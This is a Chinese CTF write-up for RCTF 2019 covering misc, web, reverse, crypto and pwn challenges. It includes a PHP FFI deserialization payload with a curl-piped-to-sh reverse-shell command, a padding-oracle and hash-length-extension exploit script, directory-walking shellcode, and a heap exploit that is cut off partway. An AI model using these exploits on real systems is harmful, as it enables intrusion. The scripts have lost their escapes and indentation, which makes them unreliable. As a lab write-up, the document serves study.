内容简介:google找到freenode网页版进入IRC #rctf2019频道,进去赫然写着RCTF{Welcome_To_RCTF2019}根据题目提示,搜索部分代码,返回LOGO语言,下载PC logo语言编译工具,将题目给出命令语句导入编辑器,画出图像,结合题目正则最后得出flag:RCTF_Hey_Logo
Misc
welcome
google找到freenode网页版进入IRC #rctf2019频道,进去赫然写着RCTF{Welcome_To_RCTF2019}
根据题目提示,搜索部分代码,返回LOGO语言,下载PC logo语言编译工具,将题目给出命令语句导入编辑器,画出图像,结合题目正则最后得出flag:RCTF_Hey_Logo
下载附件解压得到encrypt.vmdk,发现为VM虚拟机相关文件,尝试用VM打开,报文件格式错误。然后使用7z提取encrypt.vmdk,得到encrypt.mbr,再提取,得到0.fat。Winhex查看0.fat数据信息,在其中发现大量明文字符串循环,判断应该是“rctf{unseCure_quick_form4t_vo1ume”。
结合题目信息,使用“VeraCrypt”加密文件,而且提供密码为“rctf”。直接使用VeraCrypt挂载0.fat(尝试挂载encrypt.vmdk、encrypt.mbr失败),输入密码,挂载成功,得到“70056639_useless_file_for_ctf_just_ignore_it.jpg”和“password.txt”两个文件。判断jpg无用,而从txt中得到第二个密码“RCTF2019”,结合看到一篇关于VeraCrypt使用方法文档中涉及“明暗双盘符”情况,使用“RCTF2019”再次挂载,得到隐藏盘符,无法打开。使用winhex以FAT32格式加载隐藏盘符,发现明文字“_and_corrupted_1nner_v0lume}”。
与前半段拼接得到flag:rctf{unseCure_quick_form4t_vo1ume_and_corrupted_1nner_v0lume}
Printer
从pcapng中提取传送到打印机的数据,命令如下:
SET TEAR ON
CLS
BITMAP 138,75,26,48,1,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÃÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿçÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿçÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿçÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿçÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿçÿãÿþÿÿÿÿøÀ<`?À|àðgÿøüÀ?ÿñðOñÿÿÿ?üÿ'üóáÿùÿÿñüÏøÿÿÿ?þþ?øÿïøÿùÿÿñü?ÇüÿÿÿþüÇùÿßüùÿÿñüãüÿÿþüÿçñÿü?ùÿÿÇñüãþ?ÿÿþøÿçñÿ¿þ?ùÿÿÇñüãþ?ÿÿþøÿçáÿ?þ?ùÿÿãñüãÿÿÿGþøÿçãÿþùÿÿãñüóÿÿÿGþùÿçãÿÿÿÿùÿÿññüóÿÿÿcþùÿçñÿÿÿÿùÿÿññüóÿÁÿÿcþùÿçñÿÿÿÿùÿÿññüãÿãÿÿqþùÿçñÿÿÿÿùÿÿøñüãÿçÿÿqþøÿçøÿÿÿÿùÿÿøñüãÿÏÿÿxþøÿçüÿÿÿÿùÿÿüaüçÿÿÿxþøÿÇþ?ÿÿÿùÿÿüAüÇÿ?ÿÿ|~üÿÇÿÿÿÿñÿÿþü?ÿÿÿ|~ü§ÿÿÿÿéÿÿþ1üþÿÿ~>þ>gþ?ÿÿÿÿÿÿ1ü@?àÿÿ~>ÿàüÿÿÿÀ9ÿÿþqüyÿÿÿÿÿÿóïøÿÿÿÿðùÿÿþñüÿÿÿÿÿÿÿÿøÿÿÿÿÿùÿÿüñüÿÿÿÿÿÿÿÿøÿÿÿþÿùÿÿùñüÿÿÿÿÿÿÿÿøÿþ?ÿùÿÿûñüÿÿÿÿÿÆÿÿÿøÿ?þ?ÿùÿÿ÷ñüÿÿÿÿÿÂÿÿÿøÿ¿üÿùÿÿçñüÿÿÿÿÿâÿÿÿøÿüÿùÿÿÏñüÿÿÿÿÿðÿÿÿüÿøÿÿùÿÿñüÿÿÿÿÿðÿÿÿüñÿÿùÿÿðü?ÿÿÿÿþøÿÿÿþãÿÿøÿüÀ<ÿÿÿàxø?ÿÿÿÿøÿÿø?ÿÿÿýÿÿÿÿ?ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿûÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
BITMAP 130,579,29,32,1,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÇÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿþ8ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿýÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿùÿ?ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿùÿ?ÿÿÿÿÿÿþûÿÇÿÿÿáÿøÿÿÿü?ÿÿÿÿùÿ?øÿÿÿÿÿþûÿ9ÿç/ÿÿóÃüÿÿø~xF??ðþ{þþÿ÷ÿ??ÿÿïóÿ¿ÿÿüú?ûÿþþqüþ÷ÿÏÿÿïûÿ¿ÿÿÿÀ~ûÿþÿüqùÿ?÷þÿ?Ïÿÿïûÿ¿ÿÿÿþ~ûÿþÿýuùÿ?÷ÿÿÏ?Ïÿÿçÿÿ¿ÿÿÿþ~ûÿþÿý5ùÿ?÷ÿÿÏ?Ïÿÿãÿÿ¿ÿÿÿþûÿþÿý,ùÿ?÷ÿÿÏ?Ïÿÿðÿ¿ÿÿÿ|þ?ûÿþÿû,ùÿ?÷þ?Ïÿÿüÿ¿ÿÿþ~~|ûÿþÿû¬ùÿ?÷þÏ?Ïÿÿÿÿ¿ÿÿþ~~ÿûÿþÿûùÿ?÷þÏ?Ïÿÿÿçÿ¿ÿÿþþ~ÿûÿþÿûyÿ?÷þ?Ïÿÿïóÿ¿ÿÿþþ~ûÿþÿ÷|þ÷ÿ?ÿÿïóÿ¿ÿÿþ~ûÿþ÷~üÿ÷ÿ??ÿÿç÷ÿ¿ÿÿò~ÿ??ûÿþã?9ÿ÷ÿÎÀOÿÿáÏÿÿÿðÿûÿþÿÿÿÇÿ÷ÿñÿûÏÿÿî?ÿÿÿûçÿáÿûÿàÿÿÿÿÿÿ÷ÿÿÿÿÏÿÿÿÿÿÿÿÿÿÿÿÿÿûÿþÿÿÿÿÿÿ÷ÿÿÿÿÏÿÿÿÿÿÿÿÿÿÿÿÿÿûÿþÿÿÿÿÿÿ÷ÿÿÿÿÏÿÿÿÿÿÿÿÿÿÿÿÿÿûÿþÿÿÿÿÿÿ÷ÿÿÿÿÏÿÿÿÿÿÿÿÿÿÿÿÿÿûþ~ÿÿÿÿÿÿ÷ÿÿÿÿÏÿÿÿÿÿ?ÿÿÿÿÿÿÿûþ~ÿÿÿÿÿÿÿ÷ÿÿÿÿÏÿÿÿÿÿÿÿÿÿÿÿÿûþ|ÿÿÿÿÿÿÿð?ÿÿÿÃÿÿÿÿÿÿÿÿÿÿÿÿøÿÿÿÿÿÿÿóÿÿÿÿÏÿÿÿÿÿ¿ÿÿÿÿÿÿÿùÿÿÿ
BAR 348, 439, 2, 96
BAR 292, 535, 56, 2
BAR 300, 495, 48, 2
BAR 260, 447, 2, 88
BAR 204, 447, 56, 2
BAR 176, 447, 2, 96
BAR 116, 455, 2, 82
BAR 120, 479, 56, 2
BAR 44, 535, 48, 2
BAR 92, 455, 2, 80
BAR 20, 455, 72, 2
BAR 21, 455, 2, 40
BAR 21, 495, 24, 2
BAR 45, 479, 2, 16
BAR 36, 479, 16, 2
BAR 284, 391, 40, 2
BAR 324, 343, 2, 48
BAR 324, 287, 2, 32
BAR 276, 287, 48, 2
BAR 52, 311, 48, 2
BAR 284, 239, 48, 2
BAR 308, 183, 2, 56
BAR 148, 239, 48, 2
BAR 196, 191, 2, 48
BAR 148, 191, 48, 2
BAR 68, 191, 48, 2
BAR 76, 151, 40, 2
BAR 76, 119, 2, 32
BAR 76, 55, 2, 32
BAR 76, 55, 48, 2
BAR 112, 535, 64, 2
BAR 320, 343, 16, 2
BAR 320, 319, 16, 2
BAR 336, 319, 2, 24
BAR 56, 120, 24, 2
BAR 56, 87, 24, 2
BAR 56, 88, 2, 32
BAR 224, 247, 32, 2
BAR 256, 215, 2, 32
BAR 224, 215, 32, 2
BAR 224, 184, 2, 32
BAR 224, 191, 32, 2
BAR 272, 311, 2, 56
BAR 216, 367, 56, 2
BAR 216, 319, 2, 48
BAR 240, 318, 2, 49
BAR 184, 351, 2, 16
BAR 168, 351, 16, 2
BAR 168, 311, 2, 40
BAR 152, 351, 16, 2
BAR 152, 351, 2, 16
PRINT 1,1
有用的就是BITMAP和BAR,作用如下:
根据这个命令写脚本画出图形即可。
bar脚本
a=[348, 439, 2, 96, 292, 535, 56, 2, 300, 495, 48, 2, 260, 447, 2, 88, 204, 447, 56, 2, 176, 447, 2, 96, 116, 455, 2, 82, 120, 479, 56, 2, 44, 535, 48, 2, 92, 455, 2, 80, 20, 455, 72, 2, 21, 455, 2, 40, 21, 495, 24, 2, 45, 479, 2, 16, 36, 479, 16, 2 , 284, 391, 40, 2, 324, 343, 2, 48, 324, 287, 2, 32, 276, 287, 48, 2, 52, 311, 48, 2, 284, 239, 48, 2, 308, 183, 2, 56, 148, 239, 48, 2, 196, 191, 2, 48, 148, 191, 48, 2, 68, 191, 48, 2, 76, 151, 40, 2, 76, 119, 2, 32, 76, 55, 2, 32, 76, 55, 48, 2, 112, 535, 64, 2, 320, 343, 16, 2, 320, 319, 16, 2, 336, 319, 2, 24, 56, 120, 24, 2, 56, 87, 24, 2, 56, 88, 2, 32, 224, 247, 32, 2, 256, 215, 2, 32, 224, 215, 32, 2 , 224, 184, 2, 32, 224, 191, 32, 2, 272, 311, 2, 56, 216, 367, 56, 2, 216, 319, 2, 48, 240, 318, 2, 49, 184, 351, 2, 16, 168, 351, 16, 2, 168, 311, 2, 40, 152, 351, 16, 2, 152, 351, 2, 16]
b = [[1 for j in range(550)] for i in range(400)]
for i in range(len(a)/4):
j=i*4
x=a[j]
y=a[j+1]
n=a[j+2]
m=a[j+3]
for p in range(n):
for q in range(m):
b[x+p][y+q]=0
#print a[j],a[j+1],a[j+2],a[j+3]
f1=open("png.txt",'w')
for j in range(550):
for i in range(400):
if b[399-i][549-j] !=1:
f1.write("*")
else:
f1.write('_')
f1.write('n')
f1.close()
bitmap的脚本
import re
from PIL import Image
with open('bitmap','r') as f:
bit = f.read()
def bb(bit):
s = re.findall('(.{2})',bit)
return ''.join([chr(int('0x'+i,16)) for i in s])
bit = bb(bit).split('BITMAP ')
bit = bit[::-1]
bit.pop()
b = bit[0][len('130,579,29,32,1,'):]
c = bit[0][:len('130,579,29,32,1,')]
c = c.split(',')
x = c[0]
y = c[1]
width = int(c[2])
height = int(c[3])
print width,height
print width*height,len(b)
cc = 0
s = ''
for i in b:
n = ord(i)
a = bin(n)
a=a.replace('0b','')
while (len(a) < 8):
a = '0'+a
s += a
cc+=1
if cc % width == 0:
s+='n'
with open('bmp1','w') as f:
f.write(s)
b = bit[1][len('138,75,26,48,1,'):]
b = b[:-2]
c = bit[1][:len('138,75,26,48,1,')]
c = c.split(',')
x = c[0]
y = c[1]
width = int(c[2])
height = int(c[3])
print width,height
print width*height,len(b)
cc = 0
s = ''
for i in b:
n = ord(i)
a = bin(n)
a=a.replace('0b','')
while (len(a) < 8):
a = '0'+a
s += a
cc+=1
if cc % width == 0:
s+='n'
with open('bmp2','w') as f:
f.write(s)
生成图片内容:
就可以的得到flag
Web
nextphp
题目的环境是 php 7.4.0-dev,增加了一些特性,比如preload、FFI、__serialize序列化等。需要绕过open_basedir和disable_function,需要使用PHP 7.4的新特性才可以绕过。
FFI可以在调用外部的函数,可以绕过上面的限制,但是本身调用FFI的时候是有条件的,需要在preload中执行,这就需要调用preload.php的类,
设置func为 FFI::cdef ,调用 int system(const char *command); 来执行系统命令,如下:
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => "FFI::cdef",
'arg' => "int system(const char *command);" ];
}
生成序列化串:
C:1:%22A%22:95:{a:3:{s:3:%22ret%22;N;s:4:%22func%22;s:9:%22FFI::cdef%22;s:3:%22arg%22;s:32:%22int%20system(const%20char%20*command);%22;}}
构造执行回连的命令
a=$b=unserialize($_GET[b]);var_dump($b);var_dump($b->__get(‘ret’)->system(‘curl https://shell.now.sh/ <IP>|sh’));phpinfo();
然后执行就可以直接getshell,得到flag
Reverse
babyre1
通过输入一个16字节字符串,每两位为一组,合成8字节hex串。
将8字节hex串进行xtea解密,得到的结果v8进行crc16,答案为27106则正确。
在正确的情况下,v8^0x17为Bingo!,如下图所示
根据这个思路,可以反向写出结果。因为Bingo!为6字节,所以xtea的解密结果需要补全两位,从程序中发现加密算法,发现补全的为0x20。
得到最终flag
babyre2
这道题输入username,password,data三部分,username和key进行xtea解密,password和data进行按位取值操作,最终结果只需满足加密结果最后一位<0x04就行。
根据题意,确定一个满足条件的password和data,对username进行爆破。
爆破结果 aaaaaaaaaax01x0b
DontEatMe
输入经BLOWFISH解密,密钥使用“fishFISH”经过简单运算得到最终密钥{ 0x00,0x0f,0x1a,0x01,0x35,0x3a,0x3b,0x20 },得到的明文刚好是迷宫的路径。
迷宫地图是固定的,如下:
1111111111111111
1000000000111111
1011111110111111
1011111110111111
1011110000000111
1011110111110111
1011110111110111
1011110000110111
1011111110110111
1011111110110111
1000000000110111
1111101111110111
1111100000000111
1111111111111111
1111111111111111
1111111111111111
正确的路径应该由地图坐标0xA5走到0x49,还原成字符串为:ddddwwwaaawwwddd,使用BLOWFISH加密可得flag为:db824ef8605c5235b4bbacfa2ff8e087
Crypto
baby_crypto
分析
查看程序功能,可以看出程序首先会让我们输入用户密码,然后得到cookie和cookie的加盐哈希。之后要求输入 iv+cookie+hash ,解析cookie如果包含 ;admin:1 且验证 sha1(cookie)==hash 通过就能得到flag。
思路
首先hash验证部分可以使用hash长度扩展攻击通过。分别输入用户 aaaaaaaaaa 密码 bbbbbbbbbb ·,则已知 sha1(salt+“admin:0;username:aaaaaaaaaa;password:bbbbbbbbbb”) 的值,使用 hashpumpy 可以得到 "admin:0;username:aaaaaaaaaa;password:bbbbbbbbbbx80x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x01xf8;admin:1x08x08x08x08x08x08x08x08" 的带salt的sha1。
hash_ext = hashpumpy.hashpump('e998919db7d91e831e0382060e8d5b4742458af2',
cookie_text, ';admin:1', 16)
print(hash_ext)
之后就是构造出一组密文,AES解密能得到 "admin:0;username:aaaaaaaaaa;password:bbbbbbbbbbx80x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x01xf8;admin:1x08x08x08x08x08x08x08x08" 明文。由于加解密采用CBC模式,并且程序提供一个循环输入功能,而且在AES解密后会判断是否正常填充。所以可以使用 Padding oracle attack ,分组逐字节爆破密文,最后一组密文可以直接异或得到,所以需要爆破7组,每组16字节长,最多需要 260*16*7=28672 次。
exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import time
debug = 0
# p = process("./crypto.py")
# nc 207.148.68.109 20000
p = remote("45.76.208.70",20000)
# p = remote("207.148.68.109",20000)
if debug:
context.log_level = "debug"
p.sendlineafter("name:n","a"*10)
p.sendlineafter("word:n","b"*10)
p.recvuntil("cookie:n")
text = p.recvuntil("n")[:-1]
# print text
sha1 = text[-40:]
print("sha1:",sha1)
c7 = text[-72:-40]
c6 = text[-104:-72]
print("c7:",c7)
result = "admin:0;username:aaaaaaaaaa;password:bbbbbbbbbbx80x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x01xf8;admin:1x08x08x08x08x08x08x08x08"
re = []
for i in range(len(result)/16):
re.append(result[16*i:16*(i+1)])
m1 = ";admin:1x08x08x08x08x08x08x08x08"
m2 = "word:bbbbbbbbbbx01"
c6 = int(m1.encode("hex"),16)^int(m2.encode("hex"),16)^int(c6,16)
c6 = str(hex(c6)[2:])
c6 = "0"*(16-len(c6))+c6
print ("c6:",c6)
p.sendlineafter("cookie:n",c6*2+c7+sha1)
def oracle_app(c6,sha1):
a = []
for _ in range(16):
a.append("61")
for j in range(16):
for i in range(0x100):
print(j,i,)
a[15-j]=str(hex(i)[2:])
a[15-j] = "0"*(2-len(a[15-j]))+a[15-j]
test_c5 = ""
for n in range(16):
test_c5 += a[n]
p.sendlineafter("cookie:n",test_c5*2+c6+sha1)
message = p.recvuntil("n")[:-1]
if message !="Invalid padding":
if j!=15:
a[15-j] = str(hex((j+1)^(j+2)^i)[2:])
a[15-j] = "0"*(2-len(a[15-j]))+a[15-j]
# print a[15-j]
for k in range(j):
a[15-k] = str(hex(int(a[15-k],16)^(j+1)^(j+2))[2:])
a[15-k] = "0"*(2-len(a[15-k]))+a[15-k]
break
c5 = ""
for n in range(16):
c5 += a[n]
return c5
c5 = oracle_app(c6,sha1)
c5 = int(c5,16)^int(re[6].encode("hex"),16)^int(("x10"*16).encode("hex"),16)
c5 = hex(c5)[2:]
c5 = "0"*(32-len(c5))+c5
print c5
c4 = oracle_app(c5,sha1)
c4 = int(c4,16)^int(re[5].encode("hex"),16)^int(("x10"*16).encode("hex"),16)
c4 = hex(c4)[2:]
c4 = "0"*(32-len(c4))+c4
print c4
c3 = oracle_app(c4,sha1)
c3 = int(c3,16)^int(re[4].encode("hex"),16)^int(("x10"*16).encode("hex"),16)
c3 = hex(c3)[2:]
c3 = "0"*(32-len(c3))+c3
print c3
c2 = oracle_app(c3,sha1)
c2 = int(c2,16)^int(re[3].encode("hex"),16)^int(("x10"*16).encode("hex"),16)
c2 = hex(c2)[2:]
c2 = "0"*(32-len(c2))+c2
print c2
c1 = oracle_app(c2,sha1)
c1 = int(c1,16)^int(re[2].encode("hex"),16)^int(("x10"*16).encode("hex"),16)
c1 = hex(c1)[2:]
c1 = "0"*(32-len(c1))+c1
print c1
c0 = oracle_app(c1,sha1)
c0 = int(c0,16)^int(re[1].encode("hex"),16)^int(("x10"*16).encode("hex"),16)
c0 = hex(c0)[2:]
c0 = "0"*(32-len(c0))+c0
print c0
iv = oracle_app(c0,sha1)
iv = int(iv,16)^int(re[0].encode("hex"),16)^int(("x10"*16).encode("hex"),16)
iv = hex(iv)[2:]
iv = "0"*(32-len(iv))+iv
print iv+c0+c1+c2+c3+c4+c5+c6+c7
# p.sendlineafter("cookie:n",c6*2+c7+sha1)
p.interactive()
Pwn
Shellcoder
这题允许输入7个字节的 shellcode ,我们首先使用 read 的系统调用,读入更多可执行的 shellcode :
sc = asm('''
mov dh,0xf
xchg rsi,rdi
syscall
''')
然后,由于不能直接使用 shellcode 起 shell ,我们编写了利用 getdents 系统调用,递归查找 flag 文件的 shellcode 。最后打印出flag文件的内容。完整的利用脚本如下:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from time import sleep
import base64
context(os='linux', arch='amd64')
context.log_level = 'debug'
IS_DEBUG = 0
prog = './shellcoder'
if IS_DEBUG:
r = process(prog)
# r = process(prog, env={'LD_PRELOAD':'../libc/libc-2.28.so'})
else:
r = remote('139.180.215.222', 20002)
elf = ELF(prog)
libc = elf.libc
def my_u64(byte_arr):
padding = b'x00' * (8-len(byte_arr))
res = byte_arr + padding
return struct.unpack('<Q', res)[0]
# gdb.attach(r, 'b *0x5555555544c7nc')
sc = asm('''
mov dh,0xf
xchg rsi,rdi
syscall
''')
print('len_sc: %d' %len(sc))
r.sendafter(':', sc)
shellcode = asm('''
init:
mov r15, rsi
lea rbp, [r15+0x3900]
lea rdi, [r15+0x300]
mov rsi, 0
find_dir:
sub rbp, 0x320
mov [rbp-0x30], rdi
mov [rbp-0x40], rsi
mov rsi, 0x10000
mov rdi, [rbp-0x30]
mov rax, 2
syscall
mov [rbp-0x28], rax
chdir:
mov rdi, [rbp-0x30]
mov rax, 80
syscall
getdents:
mov rdi, [rbp-0x28]
lea rsi, [rbp-0x300]
mov rdx, 0x400
mov rax, 0x4e
syscall
mov [rbp-8], rax
cmp rax, 0
jz out_loop1
xor r8, r8
mov [rbp-0x10], r8
loop2:
mov eax, [rbp-0x10]
cmp eax, [rbp-8]
jl print_filename
jmp getdents
print_filename:
mov eax, [rbp-0x10]
cdqe
lea rdx, [rbp-0x300]
add rax, rdx
mov [rbp-0x18], rax
add rax, 0x12
mov [rbp-0x20], rax
d_type:
mov eax, [rbp-0x10]
movsxd rdx, eax
mov rax, [rbp-0x18]
movzx eax, word ptr [rax+0x10]
movzx eax, ax
add rax, rdx
lea rdx, [rax-1]
lea rax, [rbp-0x300]
add rax, rdx
movzx eax, byte ptr [rax]
mov [rbp-0x38], al
update_bpos:
mov rax, [rbp-0x18]
movzx eax, word ptr [rax+0x10]
movzx eax, ax
add [rbp-0x10], eax
cmp_dir:
mov rax, [rbp-0x20]
mov rax, [rax]
find_flag:
cmp eax, 0x67616c66
jnz cmp_parent
mov rsi, 0x60
lea rdi, [r15+0x500]
mov rax, 79
syscall
print_cwd:
mov rdi, 1
lea rsi, [r15+0x500]
mov rdx, 0x60
mov rax, 1
syscall
exit:
mov rax, 60
syscall
cmp_parent:
cmp al, 0x2e
jz loop2
mov r8, [rbp-0x38]
cmp r8, 4
jnz loop2
digui:
mov eax, [rbp-0x40]
lea edx, [rax+1]
mov rax, [rbp-0x20]
mov esi, edx
mov rdi, rax
call find_dir
jmp loop2
out_loop1:
lea rdi, [r15+0x320]
mov rax, 80
syscall
mov rdi, [rbp-0x28]
mov rax, 3
syscall
add rbp, 0x320
ret
''')
read_sc = asm('''
init:
mov r15, rsi
lea rbp, [r15+0x3900]
lea rdi, [r15+0x300]
mov rsi, 0
open:
mov rax, 2
syscall
mov [rbp-0x20], rax
read:
mov rdx, 0x20
lea rsi, [r15+0x500]
mov rdi, [rbp-0x20]
mov rax, 0
syscall
write:
mov rdi, 1
lea rsi, [r15+0x500]
mov rdx, 0x20
mov rax, 1
syscall
exit:
mov rax, 60
syscall
''')
# find flag
# r.sendline(('a'*7+shellcode).ljust(0x300,'x90')+
# './flag'.ljust(0x10,'x00')+
# '.'.ljust(0x10,'x00')+
# '..'.ljust(0x10,'x00')+
# 't'.ljust(0x10,'x00')+
# 'n'.ljust(0x10,'x00')) # r15+0x340
# read flag
cwd = '/flag/rrfh/lmc5/nswv/1rdr/zkz1/pim9'
r.sendline(('a'*7+read_sc).ljust(0x300,'x90')+
'%s/flagx00'%cwd)
r.interactive()
babyheap
分析
- 程序edit功能有一个off-by-null漏洞
- 通过off-by-null漏洞攻击方法可以构造一个重叠的堆块,能够控制已经释放的堆块
- 利用程序show功能泄露libc地址、堆地址
- 通过unsortbin攻击可以修改global_max_fast为很大的数,可以进行fastbin attack
- 通过fastbin attack修改free_hook为printf函数
- 通过修改后的free功能调用printf函数的格式化字符串漏洞泄露程序地址、栈地址
- 通过fastbin attack修改程序全局指针指向已控制的堆块,里面的指针可以任意修改,可以任意地址读写
- 通过edit功能在栈上构造open、read、write的rop,edit函数返回时就执行rop读取输出flag
exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#version 6 by tempo
from pwn import *
from fmt64_payload import *
context.log_level = "debug"
proc_name = 'babyheap.bak'
libc_name = './libc-2.23.so' #'/lib/x86_64-linux-gnu/libc-2.23.so'
ip_addr = "123.206.174.203:20001" #/lib32/libc-2.23.so
local = 0
#-------------------no change this----------------------
elf = ELF('./{}'.format(proc_name))
if local:
if len(libc_name) ==0:
r = process('./{}'.format(proc_name))
libc = r.libc
else:
r = process('./{}'.format(proc_name), env = {"LD_PRELOAD": libc_name})
libc = ELF(libc_name)
#libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
r=remote(ip_addr.split(":")[0],ip_addr.split(":")[1])
libc = ELF(libc_name)
#------------------------------------------------
def add(size):
r.sendlineafter("Choice","1")
r.sendlineafter("Size",str(size))
def edit(index,content):
r.sendlineafter("Choice","2")
r.sendlineafter("Index",str(index))
r.sendafter("Content",str(content))
def free(index):
r.sendlineafter("Choice","3")
r.sendlineafter("Index",str(index))
def show(index):
r.sendlineafter("Choice","4")
r.sendlineafter("Index",str(index))
# gdb.attach(r)
add(0x18) #0
add(0x500) #1
edit(1,p64(0x500)*(0x500/8))
add(0x80) #2
add(0x18) #3 #用于和top_chunk分开
free(1)
edit(0,'a'*0x18)
add(0x30) #1
add(0x80) #4
add(0x420) #5
free(1)
free(2) #chunk shrink
#现在4和5是重合的,可以通过5修改这个0x430大小的堆块
add(0x30) #1
#show泄露地址
show(4)
r.recv(2)
libc.address = u64(r.recvline(False).ljust(8,'x00')) -0x7ffff7dd1b78 + 0x7ffff7a0d000
success("libc_addr => "+hex(libc.address))
add(0x10) #2
add(0x10) #6
add(0x10) #7
free(7)
free(2)
show(4)
r.recv(2)
heap_addr = u64(r.recvline(False).ljust(8,'x00')) - 0x5555557570a0 + 0x0000555555757000
success("heap_addr => "+hex(heap_addr))
free(6)
add(0x90) #2
#通过unsortbin attack修改global_max_fast为一个很大的值main_arena+0x58
max_addr = libc.address - 0x7ffff7a0d000 + 0x7ffff7dd37f8
add(0x20) #6 和5是同一块
add(0x60) #7
add(0x410) #8
free(6)
payload = p64(0)+ p64(0x31) + p64(0) +p64(max_addr-0x10)
edit(5,payload)
add(0x20) #6
# 通过fastbin_attack修改free_hook为prinf
free_hook = libc.sym['__free_hook']
fake_addr = free_hook -0x108b-8
free(7)
payload = p64(0)+ p64(0x31) + 'x00'*0x20
payload += p64(0) +p64(0x71) + p64(fake_addr)
edit(5,payload)
add(0x60) #7
add(0x60) #9 用来伪造size,在free_hook上方
payload = 'x00'*3 + 'x00'*0x48+ p64(0x421)
edit(9,payload)
fake_addr = fake_addr+0x53
free(8)
payload = p64(0)+ p64(0x31) + 'x00'*0x20
payload += p64(0) + p64(0x71) + 'x00'*0x60
payload += p64(0) + p64(0x421) + p64(fake_addr)
edit(5,payload) #修改0x880chunk的fd
add(0x410) #8
add(0x410) #10
payload = 'x00'*0x400 + p64(0) +p64(0x421)
edit(10,payload)
free(8)
free(7)
fake_addr = fake_addr+0x410
payload = p64(0)+ p64(0x31) + 'x00'*0x20
payload += p64(0) + p64(0x71) + 'x00'*0x60
payload += p64(0) + p64(0x421) + p64(fake_addr)
edit(5,payload) #修改0x420chunk的fd
add(0x410) #7
add(0x410) #8 这个块可以控制free_hook
payload = 'x00'*0x400 + p64(0) +p64(0x421)
edit(8,payload)
free(7)
fake_addr = fake_addr+0x410
payload = p64(0)+ p64(0x31) + 'x00'*0x20
payload += p64(0) + p64(0x71) + 'x00'*0x60
payload += p64(0) + p64(0x421) + p64(fake_addr)
edit(5,payload) #修改0x420chunk的fd
add(0x410) #7
add(0x410) #11
payload = 'x00'*0x400 + p64(0) +p64(0x421)
edit(11,payload)
free(7)
fake_addr = fake_addr+0x410
payload = p64(0)+ p64(0x31) + 'x00'*0x20
payload += p64(0) + p64(0x71) + 'x00'*0x60
payload += p64(0) + p64(0x421) + p64(fake_addr)
edit(5,payload) #修改0x420chunk的fd
add(0x410) #7
add(0x410) #12
printf_addr = libc.sym['printf']
payload = 'x00'*0x400 + p64(printf_addr) #free_hook_value
edit(12,payload)
#通过printf格式化字符串漏洞泄露栈地址
edit(2,'%p '*0x40)
free(2)
r.recv()
res = r.recv().split(' ')
elf_addr = int(res[0],16) - 0x5555555552c2 + 0x555555554000
stack_addr = int(res[2],16) - 0x7fffffffed00 + 0x7ffffffde000
canary = int(res[16],16)
success("elf_addr => "+hex(elf_addr))
success("stack_addr => "+hex(stack_addr))
success("canary => "+hex(canary))
r.sendline()
#修改程序中全局指针
fake_addr = elf_addr - 0x555555554000 + 0x5555557560fd
payload = p64(0)+ p64(0x31) + 'x00'*0x20
payload += p64(0) +p64(0x71) + p64(fake_addr)
edit(5,payload)
add(0x60) #2
add(0x60) #13
